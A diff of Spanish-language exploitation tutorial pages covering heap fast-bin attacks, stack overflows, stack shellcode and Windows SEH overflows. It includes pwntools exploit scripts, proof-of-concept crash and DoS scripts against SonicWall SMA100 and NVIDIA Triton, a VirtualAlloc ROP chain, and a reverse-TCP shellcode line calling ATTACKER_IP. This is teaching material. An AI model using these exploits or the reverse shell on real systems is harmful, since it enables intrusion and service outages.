- If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed
|
||||
- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin.
|
||||
- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function.
|
||||
- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function.
|
||||
- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter.
|
||||
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
|
||||
- Otro ejemplo de abuso de un overflow de 1B para consolidar chunks en el unsorted bin y obtener un libc infoleak y luego realizar un fast bin attack para sobrescribir malloc hook con una one gadget address
|
||||
- Another example of abusing a 1B overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address
|
||||
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
|
||||
- Solo podemos alocar chunks de tamaño mayor a `0x100`.
|
||||
- Sobrescribir `global_max_fast` usando un Unsorted Bin attack (funciona 1/16 veces debido a ASLR, porque necesitamos modificar 12 bits, pero debemos modificar 16 bits).
|
||||
- Fast Bin attack para modificar un arreglo global de chunks. Esto da un primitive de lectura/escritura arbitraria, lo que permite modificar la GOT y apuntar alguna función a `system`.
|
||||
- We can only allocate chunks of size greater than `0x100`.
|
||||
- Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
|
||||
- Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`.
|
||||
|
||||
## Referencias
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- Glibc malloc unsorted-bin integrity checks (example in 2.33 source): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c
|
||||
- `global_max_fast` and related definitions in modern glibc (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c
|
||||
|
@ -4,13 +4,13 @@
|
||||
|
||||
## ¿Qué es un Stack Overflow
|
||||
|
||||
Un **stack overflow** es una vulnerabilidad que ocurre cuando un programa escribe más datos en la stack de los que se le han asignado para almacenar. Este exceso de datos **sobrescribirá el espacio de memoria adyacente**, provocando la corrupción de datos válidos, la alteración del flujo de control y, potencialmente, la ejecución de código malicioso. Este problema suele surgir por el uso de funciones inseguras que no realizan comprobaciones de límites sobre la entrada.
|
||||
Un **stack overflow** es una vulnerabilidad que ocurre cuando un programa escribe más datos en el stack de los que tiene asignados. Estos datos en exceso **sobrescribirán el espacio de memoria adyacente**, lo que conduce a la corrupción de datos válidos, la interrupción del flujo de control y, potencialmente, a la ejecución de código malicioso. Este problema suele surgir debido al uso de funciones inseguras que no realizan comprobaciones de límites en la entrada.
|
||||
|
||||
El problema principal de esta sobrescritura es que el **saved instruction pointer (EIP/RIP)** y el **saved base pointer (EBP/RBP)** para regresar a la función anterior están **almacenados en la stack**. Por lo tanto, un atacante podrá sobrescribirlos y **controlar el flujo de ejecución del programa**.
|
||||
El problema principal de este sobrescrito es que el **puntero de instrucción guardado (EIP/RIP)** y el **puntero base guardado (EBP/RBP)** para volver a la función anterior están **almacenados en el stack**. Por lo tanto, un atacante podrá sobrescribirlos y **controlar el flujo de ejecución del programa**.
|
||||
|
||||
La vulnerabilidad suele aparecer porque una función **copia en la stack más bytes de los que tiene asignados**, pudiendo así sobrescribir otras partes de la stack.
|
||||
La vulnerabilidad suele aparecer porque una función **copia dentro del stack más bytes de los que se le han asignado**, pudiendo así sobrescribir otras partes del stack.
|
||||
|
||||
Algunas funciones comunes vulnerables a esto son: **`strcpy`, `strcat`, `sprintf`, `gets`**... Además, funciones como **`fgets`**, **`read`** y **`memcpy`** que toman un **argumento de longitud**, podrían usarse de forma vulnerable si la longitud especificada es mayor que la asignada.
|
||||
Algunas funciones comunes vulnerables a esto son: **`strcpy`, `strcat`, `sprintf`, `gets`**... Además, funciones como **`fgets`**, **`read`** & **`memcpy`** que toman un **argumento de longitud**, pueden usarse de forma vulnerable si la longitud especificada es mayor que la asignada.
|
||||
|
||||
Por ejemplo, las siguientes funciones podrían ser vulnerables:
|
||||
```c
|
||||
@ -21,13 +21,13 @@ gets(buffer); // This is where the vulnerability lies
|
||||
printf("You entered: %s\n", buffer);
|
||||
}
|
||||
```
|
||||
### Finding Stack Overflows offsets
|
||||
### Encontrar offsets de Stack Overflows
|
||||
|
||||
La forma más común de encontrar Stack Overflows es dar una entrada muy grande de `A`s (e.g. `python3 -c 'print("A"*1000)'`) y esperar un `Segmentation Fault` que indica que se intentó acceder a la **address `0x41414141`**.
|
||||
La forma más común de encontrar stack overflows es dar una entrada muy grande de `A`s (p. ej. `python3 -c 'print("A"*1000)'`) y esperar un `Segmentation Fault` indicando que **se intentó acceder a la dirección `0x41414141`**.
|
||||
|
||||
Además, una vez que confirmaste que hay una Stack Overflow vulnerability necesitarás encontrar el offset hasta que sea posible **overwrite the return address**, para esto suele usarse una **De Bruijn sequence.** La cual, para un alfabeto de tamaño _k_ y subsecuencias de longitud _n_, es una **cyclic sequence in which every possible subsequence of length _n_ appears exactly once** como subsecuencia contigua.
|
||||
Además, una vez que descubres que existe una vulnerabilidad de Stack Overflow necesitarás encontrar el offset hasta que sea posible **sobrescribir la return address**, para esto normalmente se usa una **De Bruijn sequence.** La cual, para un alfabeto de tamaño _k_ y subsecuencias de longitud _n_, es una **secuencia cíclica en la que cada subsecuencia posible de longitud _n_ aparece exactamente una vez** como subsecuencia contigua.
|
||||
|
||||
De este modo, en lugar de necesitar averiguar a mano qué offset hace falta para controlar el EIP, es posible usar como padding una de estas secuencias y luego encontrar el offset de los bytes que terminaron sobrescribiéndola.
|
||||
De esta manera, en lugar de tener que averiguar a mano qué offset se necesita para controlar el EIP, es posible usar como padding una de estas secuencias y luego encontrar el offset de los bytes que terminaron sobrescribiéndolo.
|
||||
|
||||
Es posible usar **pwntools** para esto:
|
||||
```python
|
||||
@ -50,14 +50,14 @@ pattern search $rsp #Search the offset given the content of $rsp
|
||||
```
|
||||
## Explotando Stack Overflows
|
||||
|
||||
Durante un overflow (suponiendo que el tamaño del overflow sea lo bastante grande) podrás **sobrescribir** valores de variables locales dentro del stack hasta alcanzar el **EBP/RBP and EIP/RIP (or even more)**.\
|
||||
La forma más común de abusar de este tipo de vulnerabilidad es **modificando la dirección de retorno** de modo que cuando la función termine el **flujo de control se redirigirá hacia donde el usuario especificó** en ese puntero.
|
||||
During an overflow (supposing the overflow size if big enough) you will be able to **sobrescribir** valores de variables locales dentro del stack hasta alcanzar los guardados **EBP/RBP y EIP/RIP (o incluso más)**.\
|
||||
La forma más común de abusar de este tipo de vulnerabilidad es **modificando la dirección de retorno** para que cuando la función termine el **control flow sea redirigido a donde el usuario haya especificado** en ese puntero.
|
||||
|
||||
Sin embargo, en otros escenarios quizá con solo **sobrescribir algunos valores de variables en el stack** sea suficiente para la explotación (como en CTFs sencillos).
|
||||
Sin embargo, en otros escenarios quizá solo **sobrescribir los valores de algunas variables en el stack** sea suficiente para la explotación (como en retos CTF sencillos).
|
||||
|
||||
### Ret2win
|
||||
|
||||
En este tipo de retos CTF, hay una **función** **dentro** del binario que **nunca se llama** y que **necesitas invocar para ganar**. Para estos retos solo necesitas encontrar el **offset para sobrescribir la dirección de retorno** y **la dirección de la función** a llamar (usualmente [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) estará deshabilitado) de modo que cuando la función vulnerable retorne, se llame a la función oculta:
|
||||
En este tipo de retos CTF, existe una **función** **dentro** del binario que **nunca se llama** y que **necesitas invocar para ganar**. Para estos retos solo necesitas encontrar el **offset para sobrescribir la dirección de retorno** y **encontrar la dirección de la función** a llamar (usualmente [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) estaría deshabilitado) para que cuando la función vulnerable retorne, la función oculta sea llamada:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -66,7 +66,7 @@ ret2win/
|
||||
|
||||
### Stack Shellcode
|
||||
|
||||
En este escenario el atacante puede colocar un shellcode en el stack y aprovechar el EIP/RIP controlado para saltar al shellcode y ejecutar código arbitrario:
|
||||
En este escenario el atacante puede colocar un shellcode en el stack y abusar del EIP/RIP controlado para saltar al shellcode y ejecutar código arbitrario:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -75,7 +75,7 @@ stack-shellcode/
|
||||
|
||||
### Windows SEH-based exploitation (nSEH/SEH)
|
||||
|
||||
En Windows de 32 bits, un overflow puede sobrescribir la cadena del Structured Exception Handler (SEH) en lugar de la dirección de retorno guardada. La explotación típicamente reemplaza el puntero SEH con un gadget POP POP RET y usa el campo nSEH de 4 bytes para un salto corto que pivotea de vuelta al gran buffer donde vive el shellcode. Un patrón común es un short jmp en nSEH que aterriza en un near jmp de 5 bytes colocado justo antes de nSEH para saltar cientos de bytes hacia el inicio del payload.
|
||||
En Windows de 32 bits, un overflow puede sobrescribir la cadena de Structured Exception Handler (SEH) en lugar de la dirección de retorno guardada. La explotación típicamente reemplaza el puntero SEH por un gadget POP POP RET y usa el campo nSEH de 4 bytes para un salto corto que pivota de vuelta al gran buffer donde vive el shellcode. Un patrón común es un jmp corto en nSEH que aterriza en un near jmp de 5 bytes colocado justo antes de nSEH para saltar cientos de bytes hacia el inicio del payload.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -84,7 +84,7 @@ windows-seh-overflow.md
|
||||
|
||||
### ROP & Ret2... techniques
|
||||
|
||||
Esta técnica es el marco fundamental para eludir la principal protección frente a la técnica anterior: **No executable stack (NX)**. Además permite realizar varias otras técnicas (ret2lib, ret2syscall...) que acabarán ejecutando comandos arbitrarios aprovechando instrucciones existentes en el binario:
|
||||
Esta técnica es la base para bypassear la principal protección a la técnica anterior: **No executable stack (NX)**. Además permite realizar varias otras técnicas (ret2lib, ret2syscall...) que terminarán ejecutando comandos arbitrarios abusando de instrucciones existentes en el binario:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -93,16 +93,16 @@ Esta técnica es el marco fundamental para eludir la principal protección frent
|
||||
|
||||
## Heap Overflows
|
||||
|
||||
Un overflow no siempre estará en el stack; también podría estar en el **heap**, por ejemplo:
|
||||
Un overflow no siempre ocurrirá en el stack, también podría estar en el **heap**, por ejemplo:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../libc-heap/heap-overflow.md
|
||||
{{#endref}}
|
||||
|
||||
## Tipos de protecciones
|
||||
## Types of protections
|
||||
|
||||
Existen varias protecciones que intentan prevenir la explotación de vulnerabilidades; revísalas en:
|
||||
Hay varias protecciones que intentan prevenir la explotación de vulnerabilidades, revísalas en:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -111,7 +111,7 @@ Existen varias protecciones que intentan prevenir la explotación de vulnerabili
|
||||
|
||||
### Real-World Example: CVE-2025-40596 (SonicWall SMA100)
|
||||
|
||||
Una buena demostración de por qué **`sscanf` nunca debe usarse para analizar entrada no confiable** apareció en 2025 en el appliance SSL-VPN SMA100 de SonicWall.
|
||||
Una buena demostración de por qué **`sscanf` nunca debería ser confiable para parsear entrada no confiable** apareció en 2025 en el appliance SSL-VPN SMA100 de SonicWall.
|
||||
La rutina vulnerable dentro de `/usr/src/EasyAccess/bin/httpd` intenta extraer la versión y el endpoint de cualquier URI que comience con `/__api__/`:
|
||||
```c
|
||||
char version[3];
|
||||
@ -120,25 +120,25 @@ char endpoint[0x800] = {0};
|
||||
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
|
||||
```
|
||||
1. La primera conversión (`%2s`) almacena de forma segura **dos** bytes en `version` (p. ej. `"v1"`).
|
||||
2. La segunda conversión (`%s`) **no tiene especificador de longitud**, por lo tanto `sscanf` seguirá copiando **hasta el primer NUL byte**.
|
||||
3. Debido a que `endpoint` está ubicado en la **stack** y tiene **0x800 bytes de longitud**, proporcionar una ruta más larga que 0x800 bytes corrompe todo lo que sigue después del buffer ‑ incluyendo el **stack canary** y la **saved return address**.
|
||||
2. La segunda conversión (`%s`) **no tiene especificador de longitud**, por lo tanto `sscanf` seguirá copiando **hasta el primer byte NUL**.
|
||||
3. Porque `endpoint` está ubicado en la **stack** y es **0x800 bytes de longitud**, proporcionar una ruta más larga que 0x800 bytes corrompe todo lo que esté después del buffer ‑ incluyendo el **stack canary** y la **saved return address**.
|
||||
|
||||
Una prueba de concepto de una sola línea es suficiente para provocar el crash **antes de la autenticación**:
|
||||
Una proof-of-concept de una sola línea es suficiente para provocar el crash **antes de la autenticación**:
|
||||
```python
|
||||
import requests, warnings
|
||||
warnings.filterwarnings('ignore')
|
||||
url = "https://TARGET/__api__/v1/" + "A"*3000
|
||||
requests.get(url, verify=False)
|
||||
```
|
||||
Aunque stack canaries abortan el proceso, un atacante aún obtiene un primitivo de **Denial-of-Service** (y, con leaks de información adicionales, posiblemente code-execution). La lección es simple:
|
||||
Aunque los stack canaries abortan el proceso, un atacante aún obtiene una primitiva de **Denial-of-Service** (y, con leaks adicionales de información, posiblemente ejecución de código). La lección es simple:
|
||||
|
||||
* Siempre proporcione un **ancho máximo de campo** (p. ej. `%511s`).
|
||||
* Proporcione siempre un **ancho máximo de campo** (p. ej. `%511s`).
|
||||
* Prefiera alternativas más seguras como `snprintf`/`strncpy_s`.
|
||||
|
||||
### Ejemplo del mundo real: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
|
||||
|
||||
Triton Inference Server de NVIDIA (≤ v25.06) contenía múltiples **stack-based overflows** accesibles a través de su HTTP API.
|
||||
El patrón vulnerable apareció repetidamente en `http_server.cc` y `sagemaker_server.cc`:
|
||||
El Triton Inference Server de NVIDIA (≤ v25.06) contenía múltiples **stack-based overflows** accesibles a través de su HTTP API.
|
||||
El patrón vulnerable aparecía repetidamente en `http_server.cc` y `sagemaker_server.cc`:
|
||||
```c
|
||||
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
|
||||
if (n > 0) {
|
||||
@ -148,9 +148,9 @@ alloca(sizeof(struct evbuffer_iovec) * n);
|
||||
...
|
||||
}
|
||||
```
|
||||
1. `evbuffer_peek` (libevent) devuelve el **número de segmentos de buffer internos** que componen el cuerpo de la petición HTTP actual.
|
||||
2. Cada segmento provoca que se asigne un `evbuffer_iovec` de **16 bytes** en la **stack** vía `alloca()` – **sin ningún límite superior**.
|
||||
3. Al abusar de **HTTP _chunked transfer-encoding_**, un cliente puede forzar que la petición se divida en **cientos de miles de fragmentos de 6 bytes** (`"1\r\nA\r\n"`). Esto hace que `n` crezca sin límite hasta que la stack se agote.
|
||||
1. `evbuffer_peek` (libevent) devuelve el **número de segmentos de buffer internos** que componen el cuerpo de la solicitud HTTP actual.
|
||||
2. Cada segmento provoca que se asigne un `evbuffer_iovec` de **16-byte** en la **stack** mediante `alloca()` – **sin ningún límite superior**.
|
||||
3. Abusando de **HTTP _chunked transfer-encoding_**, un cliente puede forzar que la solicitud se divida en **cientos de miles de fragmentos de 6-byte** (`"1\r\nA\r\n"`). Esto hace que `n` crezca sin límite hasta que la stack se agote.
|
||||
|
||||
#### Prueba de concepto (DoS)
|
||||
```python
|
||||
@ -176,10 +176,10 @@ s.close()
|
||||
if __name__ == "__main__":
|
||||
exploit(*sys.argv[1:])
|
||||
```
|
||||
Una solicitud de ~3 MB es suficiente para sobrescribir la dirección de retorno guardada y **crash** el daemon en un build por defecto.
|
||||
Una petición de ~3 MB es suficiente para sobrescribir la dirección de retorno guardada y **hacer que el daemon se bloquee** en una compilación por defecto.
|
||||
|
||||
#### Parche & Mitigación
|
||||
La versión 25.07 reemplaza la asignación insegura en la pila por un **heap-backed `std::vector`** y gestiona `std::bad_alloc` correctamente:
|
||||
#### Parche y mitigación
|
||||
La versión 25.07 reemplaza la asignación insegura en la pila por un **`std::vector` respaldado en heap** y maneja correctamente `std::bad_alloc`:
|
||||
```c++
|
||||
std::vector<evbuffer_iovec> v_vec;
|
||||
try {
|
||||
@ -191,8 +191,8 @@ struct evbuffer_iovec *v = v_vec.data();
|
||||
```
|
||||
Lecciones aprendidas:
|
||||
* Nunca llames a `alloca()` con tamaños controlados por el atacante.
|
||||
* Las Chunked requests pueden cambiar drásticamente la forma de los buffers del lado del servidor.
|
||||
* Valida / limita cualquier valor derivado de la entrada del cliente *antes* de usarlo en las asignaciones de memoria.
|
||||
* Las solicitudes chunked pueden cambiar drásticamente la forma de los buffers del lado del servidor.
|
||||
* Valida / limita cualquier valor derivado de la entrada del cliente *antes* de usarlo en asignaciones de memoria.
|
||||
|
||||
## Referencias
|
||||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
## Información básica
|
||||
|
||||
**Stack shellcode** es una técnica utilizada en **binary exploitation** donde un atacante escribe shellcode en el stack de un programa vulnerable y luego modifica el **Instruction Pointer (IP)** o **Extended Instruction Pointer (EIP)** para apuntar a la ubicación de ese shellcode, provocando su ejecución. Es un método clásico usado para obtener acceso no autorizado o ejecutar comandos arbitrarios en un sistema objetivo. Aquí hay un desglose del proceso, incluido un ejemplo sencillo en C y cómo podrías escribir un exploit correspondiente usando Python con **pwntools**.
|
||||
**Stack shellcode** es una técnica usada en **binary exploitation** donde un atacante escribe shellcode en la pila de un programa vulnerable y luego modifica el **Instruction Pointer (IP)** o el **Extended Instruction Pointer (EIP)** para apuntar a la ubicación de ese shellcode, provocando su ejecución. Es un método clásico usado para obtener acceso no autorizado o ejecutar comandos arbitrarios en un sistema objetivo. Aquí hay un desglose del proceso, incluyendo un ejemplo simple en C y cómo podrías escribir un exploit correspondiente usando Python con **pwntools**.
|
||||
|
||||
### Ejemplo en C: Un programa vulnerable
|
||||
### Ejemplo en C: un programa vulnerable
|
||||
|
||||
Comencemos con un ejemplo sencillo de un programa en C vulnerable:
|
||||
Comencemos con un ejemplo simple de un programa en C vulnerable:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
@ -28,14 +28,14 @@ Este programa es vulnerable a un buffer overflow debido al uso de la función `g
|
||||
|
||||
### Compilación
|
||||
|
||||
Para compilar este programa deshabilitando varias protecciones (para simular un entorno vulnerable), puedes usar el siguiente comando:
|
||||
Para compilar este programa deshabilitando varias protecciones (para simular un entorno vulnerable), puede usar el siguiente comando:
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
- `-fno-stack-protector`: Desactiva la protección de la pila.
|
||||
- `-z execstack`: Hace que la pila sea ejecutable, lo cual es necesario para ejecutar shellcode almacenado en la pila.
|
||||
- `-no-pie`: Desactiva Position Independent Executable (PIE), lo que facilita predecir la dirección de memoria donde estará ubicado nuestro shellcode.
|
||||
- `-m32`: Compila el programa como ejecutable de 32 bits, a menudo usado por simplicidad en el desarrollo de exploits.
|
||||
- `-z execstack`: Hace la pila ejecutable, lo cual es necesario para ejecutar shellcode almacenado en la pila.
|
||||
- `-no-pie`: Desactiva Position Independent Executable (PIE), facilitando predecir la dirección de memoria donde se ubicará nuestro shellcode.
|
||||
- `-m32`: Compila el programa como ejecutable de 32 bits, frecuentemente usado por simplicidad en el desarrollo de exploits.
|
||||
|
||||
### Exploit en Python usando Pwntools
|
||||
|
||||
@ -68,26 +68,26 @@ p.interactive()
|
||||
```
|
||||
Este script construye un payload consistente en una **NOP slide**, el **shellcode**, y luego sobrescribe la **EIP** con la dirección que apunta a la NOP slide, asegurando que el shellcode se ejecute.
|
||||
|
||||
La **NOP slide** (`asm('nop')`) se usa para aumentar la probabilidad de que la ejecución "deslice" hacia nuestro shellcode independientemente de la dirección exacta. Ajusta el argumento de `p32()` a la dirección inicial de tu buffer más un offset para aterrizar en la NOP slide.
|
||||
El **NOP slide** (`asm('nop')`) se usa para aumentar la probabilidad de que la ejecución "deslice" hacia nuestro shellcode independientemente de la dirección exacta. Ajusta el argumento `p32()` a la dirección de inicio de tu buffer más un offset para caer en la NOP slide.
|
||||
|
||||
## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
|
||||
|
||||
En Windows modernos la stack no es ejecutable (DEP/NX). Una forma común de aún ejecutar shellcode residente en la stack después de un stack BOF es construir una cadena ROP de 64 bits que llame a VirtualAlloc (o VirtualProtect) desde la Import Address Table (IAT) del módulo para hacer que una región de la stack sea ejecutable y luego retornar al shellcode colocado después de la cadena.
|
||||
En Windows modernos el stack no es ejecutable (DEP/NX). Una forma común de seguir ejecutando shellcode residente en el stack después de un stack BOF es construir una cadena ROP de 64 bits que llame a VirtualAlloc (o VirtualProtect) desde el módulo Import Address Table (IAT) para convertir una región del stack en ejecutable y luego retornar hacia el shellcode situado inmediatamente después de la cadena.
|
||||
|
||||
Puntos clave (Win64 calling convention):
|
||||
Puntos clave (convención de llamadas Win64):
|
||||
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
|
||||
- RCX = lpAddress → elige una dirección en la stack actual (p.ej., RSP) para que la región RWX recién asignada solape tu payload
|
||||
- RDX = dwSize → lo suficientemente grande para tu chain + shellcode (p.ej., 0x1000)
|
||||
- RCX = lpAddress → elige una dirección en el stack actual (p. ej., RSP) de modo que la región RWX recién asignada se solape con tu payload
|
||||
- RDX = dwSize → lo suficientemente grande para tu chain + shellcode (p. ej., 0x1000)
|
||||
- R8 = flAllocationType = MEM_COMMIT (0x1000)
|
||||
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
|
||||
- Return directly into the shellcode placed right after the chain.
|
||||
|
||||
Estrategia mínima:
|
||||
1) Leak a module base (p.ej., via a format-string, object pointer, etc.) para calcular las direcciones absolutas de gadgets e IAT bajo ASLR.
|
||||
2) Encuentra gadgets para cargar RCX/RDX/R8/R9 (secuencias basadas en pop o mov/xor) y un call/jmp [VirtualAlloc@IAT]. Si no dispones de pop r8/r9 directo, usa gadgets aritméticos para sintetizar constantes (p.ej., establece r8=0 y suma repetidamente r9=0x40 cuarenta veces para alcanzar 0x1000).
|
||||
3) Coloca el stage-2 shellcode inmediatamente después de la chain.
|
||||
1) Leak la base de un módulo (p. ej., vía format-string, object pointer, etc.) para calcular las direcciones absolutas de gadgets e IAT bajo ASLR.
|
||||
2) Encuentra gadgets para cargar RCX/RDX/R8/R9 (secuencias basadas en pop o mov/xor) y un call/jmp [VirtualAlloc@IAT]. Si no cuentas con pop r8/r9 directos, usa gadgets aritméticos para sintetizar constantes (p. ej., poner r8=0 y sumar repetidamente r9=0x40 cuarenta veces para llegar a 0x1000).
|
||||
3) Coloca el stage-2 shellcode inmediatamente después de la cadena.
|
||||
|
||||
Ejemplo de disposición (conceptual):
|
||||
Example layout (conceptual):
|
||||
```
|
||||
# ... padding up to saved RIP ...
|
||||
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
|
||||
@ -104,12 +104,12 @@ POP_RDX_RET; 0x1000
|
||||
JMP_SHELLCODE_OR_RET
|
||||
# ---- stage-2 shellcode (x64) ----
|
||||
```
|
||||
Con un conjunto de gadgets limitado, puedes crear valores de registros de forma indirecta, por ejemplo:
|
||||
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → coloca r9 con el valor de rbx, pone a 0 r8 y compensa la pila con un qword basura.
|
||||
- xor rbx, rsp; ret → inicializa rbx con el puntero de pila actual.
|
||||
- push rbx; pop rax; mov rcx, rax; ret → mueve el valor derivado de RSP a RCX.
|
||||
Con un conjunto de gadgets limitado, puedes construir valores de registros de forma indirecta, por ejemplo:
|
||||
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → establecer r9 desde rbx, poner a cero r8 y compensar la pila con un qword basura.
|
||||
- xor rbx, rsp; ret → inicializar rbx con el puntero de pila actual.
|
||||
- push rbx; pop rax; mov rcx, rax; ret → mover el valor derivado de RSP a RCX.
|
||||
|
||||
Ejemplo de Pwntools (dada una base conocida y gadgets):
|
||||
Esbozo de Pwntools (dada una base conocida y gadgets):
|
||||
```python
|
||||
from pwn import *
|
||||
base = 0x7ff6693b0000
|
||||
@ -133,24 +133,24 @@ rop += p64(IAT_VirtualAlloc)
|
||||
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
|
||||
```
|
||||
Consejos:
|
||||
- VirtualProtect funciona de manera similar si es preferible convertir un buffer existente a RX; el orden de los parámetros es diferente.
|
||||
- Si el espacio en stack es limitado, asigna RWX en otro lugar (RCX=NULL) y jmp a esa nueva región en lugar de reutilizar la stack.
|
||||
- Siempre ten en cuenta los gadgets que ajustan RSP (p. ej., add rsp, 8; ret) insertando qwords de relleno.
|
||||
- VirtualProtect funciona de forma similar si es preferible convertir un buffer existente a RX; el orden de parámetros es diferente.
|
||||
- Si el espacio en la stack es limitado, asigna RWX en otra parte (RCX=NULL) y jmp a esa nueva región en lugar de reutilizar la stack.
|
||||
- Ten en cuenta siempre los gadgets que ajustan RSP (p. ej., add rsp, 8; ret) insertando qwords basura.
|
||||
|
||||
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **debe estar deshabilitado** para que la dirección sea fiable entre ejecuciones o la dirección donde la función será almacenada no será siempre la misma y necesitarías algún leak para saber dónde está cargada la win function.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) también deben estar deshabilitadas o la dirección de retorno EIP comprometida nunca será seguida.
|
||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) la protección **stack** impediría la ejecución del shellcode dentro de la stack porque esa región no será ejecutable.
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **debería estar deshabilitado** para que la dirección sea fiable entre ejecuciones o la dirección donde se almacenará la función no será siempre la misma y necesitarías algún leak para averiguar dónde se carga la función win.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) también deberían estar deshabilitados o la dirección de retorno EIP comprometida nunca será seguida.
|
||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection impediría la ejecución del shellcode dentro de la stack porque esa región no sería ejecutable.
|
||||
|
||||
## Otros ejemplos y referencias
|
||||
## Otros Ejemplos y Referencias
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
|
||||
- 64bit, ASLR con stack address leak, escribir shellcode y saltar a él
|
||||
- 64bit, ASLR con leak de dirección de la stack, escribir shellcode y saltar a él
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
|
||||
- 32 bit, ASLR con stack leak, escribir shellcode y saltar a él
|
||||
- 32 bit, ASLR con leak de la stack, escribir shellcode y saltar a él
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
|
||||
- 32 bit, ASLR con stack leak, comparación para evitar la llamada a exit(), sobrescribir una variable con un valor y escribir shellcode y saltar a él
|
||||
- 32 bit, ASLR con leak de la stack, comparación para prevenir llamada a exit(), sobrescribir variable con un valor y escribir shellcode y saltar a él
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
- arm64, sin ASLR, gadget ROP para hacer la stack ejecutable y saltar al shellcode en la stack
|
||||
|
||||
|
@ -2,26 +2,26 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
La explotación basada en SEH es una técnica clásica de Windows x86 que abusa de la cadena Structured Exception Handler almacenada en la pila. Cuando un desbordamiento de búfer en la pila sobrescribe los dos campos de 4 bytes
|
||||
SEH-based exploitation es una técnica clásica de Windows x86 que abusa del Structured Exception Handler chain almacenado en la pila. Cuando un overflow de buffer en la pila sobrescribe los dos campos de 4 bytes
|
||||
|
||||
- nSEH: pointer to the next SEH record, and
|
||||
- SEH: pointer to the exception handler function
|
||||
|
||||
un atacante puede tomar el control de la ejecución mediante:
|
||||
|
||||
1) Establecer SEH a la dirección de un POP POP RET gadget en un módulo no protegido, de modo que cuando se despacha una excepción el gadget retorne hacia bytes controlados por el atacante, y
|
||||
2) Usar nSEH para redirigir la ejecución (típicamente un short jump) de vuelta al gran buffer desbordado donde reside el shellcode.
|
||||
1) Establecer SEH a la dirección de un POP POP RET gadget en un módulo no protegido, de modo que cuando se despache una excepción el gadget haga return hacia bytes controlados por el atacante, y
|
||||
2) Usar nSEH para redirigir la ejecución (típicamente un salto corto) de vuelta al gran buffer desbordado donde reside el shellcode.
|
||||
|
||||
Esta técnica es específica de procesos de 32 bits (x86). En sistemas modernos, preferir un módulo sin SafeSEH y sin ASLR para el gadget. Bad characters suelen incluir 0x00, 0x0a, 0x0d (NUL/CR/LF) debido a C-strings y al parsing HTTP.
